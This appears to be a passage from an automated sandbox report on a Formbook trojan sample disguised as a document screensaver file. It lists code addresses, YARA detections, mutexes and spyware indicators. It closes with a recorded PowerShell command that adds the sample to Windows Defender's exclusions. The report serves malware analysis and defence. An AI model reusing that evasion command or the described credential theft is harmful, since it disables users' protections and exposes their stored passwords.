Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569F43F	4_2_0569F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569F7B0	4_2_0569F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05625630	4_2_05625630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056916CC	4_2_056916CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056AB16B	4_2_056AB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0561516C	4_2_0561516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CF172	4_2_055CF172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055EB1B0	4_2_055EB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056970E9	4_2_056970E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569F0E0	4_2_0569F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E70C0	4_2_055E70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568F0CC	4_2_0568F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055CD34C	4_2_055CD34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569132D	4_2_0569132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0562739A	4_2_0562739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_056812ED	4_2_056812ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FB2C0	4_2_055FB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FD2F0	4_2_055FD2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E52A0	4_2_055E52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05697D73	4_2_05697D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E3D40	4_2_055E3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05691D5A	4_2_05691D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FFDC0	4_2_055FFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05659C32	4_2_05659C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569FCF2	4_2_0569FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569FF09	4_2_0569FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055A3FD2	4_2_055A3FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055A3FD5	4_2_055A3FD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E1F92	4_2_055E1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569FFB1	4_2_0569FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E9EB0	4_2_055E9EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E9950	4_2_055E9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FB950	4_2_055FB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05675910	4_2_05675910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0564D800	4_2_0564D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055E38E0	4_2_055E38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569FB76	4_2_0569FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05655BF0	4_2_05655BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0561DBF9	4_2_0561DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_055FFB80	4_2_055FFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05653A6C	4_2_05653A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0569FA49	4_2_0569FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05697A46	4_2_05697A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_0568DAC6	4_2_0568DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4_2_05625AA0	4_2_05625AA0
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C1D9ED	5_2_03C1D9ED
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03BFD00D	5_2_03BFD00D
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03BFEF8D	5_2_03BFEF8D
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C056AA	5_2_03C056AA
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C056AD	5_2_03C056AD
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03BFED6D	5_2_03BFED6D
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03BFED64	5_2_03BFED64
Source: C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe	Code function: 5_2_03C074C4	5_2_03C074C4
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C4E4F6	6_2_04C4E4F6
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C52446	6_2_04C52446
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B91460	6_2_04B91460
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5F43F	6_2_04C5F43F
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C60591	6_2_04C60591
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C3D5B0	6_2_04C3D5B0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA0535	6_2_04BA0535
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C57571	6_2_04C57571
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C516CC	6_2_04C516CC
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BBC6E0	6_2_04BBC6E0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5F7B0	6_2_04C5F7B0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B9C7C0	6_2_04B9C7C0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA0770	6_2_04BA0770
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BC4750	6_2_04BC4750
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C4F0CC	6_2_04C4F0CC
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5F0E0	6_2_04C5F0E0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C570E9	6_2_04C570E9
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA70C0	6_2_04BA70C0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C581CC	6_2_04C581CC
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BAB1B0	6_2_04BAB1B0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C601AA	6_2_04C601AA
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C6B16B	6_2_04C6B16B
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B90100	6_2_04B90100
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B8F172	6_2_04B8F172
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BD516C	6_2_04BD516C
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C3A118	6_2_04C3A118
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA52A0	6_2_04BA52A0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C412ED	6_2_04C412ED
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BBD2F0	6_2_04BBD2F0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BBB2C0	6_2_04BBB2C0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C40274	6_2_04C40274
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C603E6	6_2_04C603E6
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BE739A	6_2_04BE739A
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BAE3F0	6_2_04BAE3F0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5A352	6_2_04C5A352
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5132D	6_2_04C5132D
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B8D34C	6_2_04B8D34C
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5FCF2	6_2_04C5FCF2
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B90CF2	6_2_04B90CF2
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C40CB5	6_2_04C40CB5
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA0C00	6_2_04BA0C00
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C19C32	6_2_04C19C32
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BB8DBF	6_2_04BB8DBF
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B9ADE0	6_2_04B9ADE0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BBFDC0	6_2_04BBFDC0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C51D5A	6_2_04C51D5A
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C57D73	6_2_04C57D73
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BAAD00	6_2_04BAAD00
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA3D40	6_2_04BA3D40
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA9EB0	6_2_04BA9EB0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5EEDB	6_2_04C5EEDB
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BB2E90	6_2_04BB2E90
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5CE93	6_2_04C5CE93
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5EE26	6_2_04C5EE26
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA0E59	6_2_04BA0E59
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA1F92	6_2_04BA1F92
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B92FC8	6_2_04B92FC8
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5FFB1	6_2_04C5FFB1
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C14F40	6_2_04C14F40
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BC0F30	6_2_04BC0F30
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BE2F28	6_2_04BE2F28
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5FF09	6_2_04C5FF09
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B868B8	6_2_04B868B8
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BCE8F0	6_2_04BCE8F0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA38E0	6_2_04BA38E0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C0D800	6_2_04C0D800
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BAA840	6_2_04BAA840
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA2840	6_2_04BA2840
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA29A0	6_2_04BA29A0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C6A9A6	6_2_04C6A9A6
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BB6962	6_2_04BB6962
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BA9950	6_2_04BA9950
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BBB950	6_2_04BBB950
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C4DAC6	6_2_04C4DAC6
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BE5AA0	6_2_04BE5AA0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04B9EA80	6_2_04B9EA80
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C3DAAC	6_2_04C3DAAC
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C57A46	6_2_04C57A46
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5FA49	6_2_04C5FA49
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C13A6C	6_2_04C13A6C
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C56BD7	6_2_04C56BD7
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BBFB80	6_2_04BBFB80
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04BDDBF9	6_2_04BDDBF9
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5AB40	6_2_04C5AB40
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04C5FB76	6_2_04C5FB76
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C61970	6_2_00C61970
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C65000	6_2_00C65000
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C631DD	6_2_00C631DD
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C631E0	6_2_00C631E0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C7B520	6_2_00C7B520
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C5C897	6_2_00C5C897
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C5C8A0	6_2_00C5C8A0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C5CAC0	6_2_00C5CAC0
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_00C5AB40	6_2_00C5AB40
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6E426	6_2_04A6E426
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6E7BC	6_2_04A6E7BC
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6D7F3	6_2_04A6D7F3
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6E305	6_2_04A6E305
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6D828	6_2_04A6D828
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6CAB9	6_2_04A6CAB9
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6CAC5	6_2_04A6CAC5
Source: C:\Windows\SysWOW64\control.exe	Code function: 6_2_04A6CAC0	6_2_04A6CAC0

Source: C:\Windows\SysWOW64\control.exe	Code function: String function: 04C1F290 appears 103 times
Source: C:\Windows\SysWOW64\control.exe	Code function: String function: 04BD5130 appears 36 times
Source: C:\Windows\SysWOW64\control.exe	Code function: String function: 04BE7E54 appears 86 times
Source: C:\Windows\SysWOW64\control.exe	Code function: String function: 04B8B970 appears 250 times
Source: C:\Windows\SysWOW64\control.exe	Code function: String function: 04C0EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: String function: 05615130 appears 58 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: String function: 0564EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: String function: 0565F290 appears 103 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: String function: 055CB970 appears 259 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: String function: 05627E54 appears 107 times

Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1720344502.00000000044BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs PASU5160894680 DOCS.scr.exe
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1717296789.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameGB-lesson-forms.dll@ vs PASU5160894680 DOCS.scr.exe
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1710175136.000000000165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PASU5160894680 DOCS.scr.exe
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1721562024.0000000005910000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameGB-lesson-forms.dll@ vs PASU5160894680 DOCS.scr.exe
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000002.1723689341.0000000007CD0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs PASU5160894680 DOCS.scr.exe
Source: PASU5160894680 DOCS.scr.exe, 00000000.00000000.1664531081.0000000000FB2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHIPO.exe@ vs PASU5160894680 DOCS.scr.exe
Source: PASU5160894680 DOCS.scr.exe	Binary or memory string: OriginalFilenameHIPO.exe@ vs PASU5160894680 DOCS.scr.exe

Source: PASU5160894680 DOCS.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 4.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1846379339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4133191097.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4132211926.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.4133252340.0000000004960000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1846811096.0000000004D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.1848370775.0000000006CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.4133228412.0000000003870000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: PASU5160894680 DOCS.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, JOPHjjJP1DReOpDY0L.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: _0020.SetAccessControl
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: _0020.AddAccessRule
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, JOPHjjJP1DReOpDY0L.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: _0020.SetAccessControl
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PASU5160894680 DOCS.scr.exe.45fcfc0.1.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: _0020.AddAccessRule
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: _0020.SetAccessControl
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PASU5160894680 DOCS.scr.exe.46845e0.2.raw.unpack, n5o3CtEHtQcW8gVMs0.cs	Security API names: _0020.AddAccessRule
Source: 0.2.PASU5160894680 DOCS.scr.exe.7cd0000.4.raw.unpack, JOPHjjJP1DReOpDY0L.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/7@19/11

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PASU5160894680 DOCS.scr.exe.log

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Mutant created: \Sessions\1\BaseNamedObjects\rpXhDySUSsBcArb
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1u5akofx.tei.ps1

Source: PASU5160894680 DOCS.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PASU5160894680 DOCS.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: control.exe, 00000006.00000003.2023994663.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, control.exe, 00000006.00000002.4132398440.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PASU5160894680 DOCS.scr.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe "C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"
Source: C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PASU5160894680 DOCS.scr.exe"
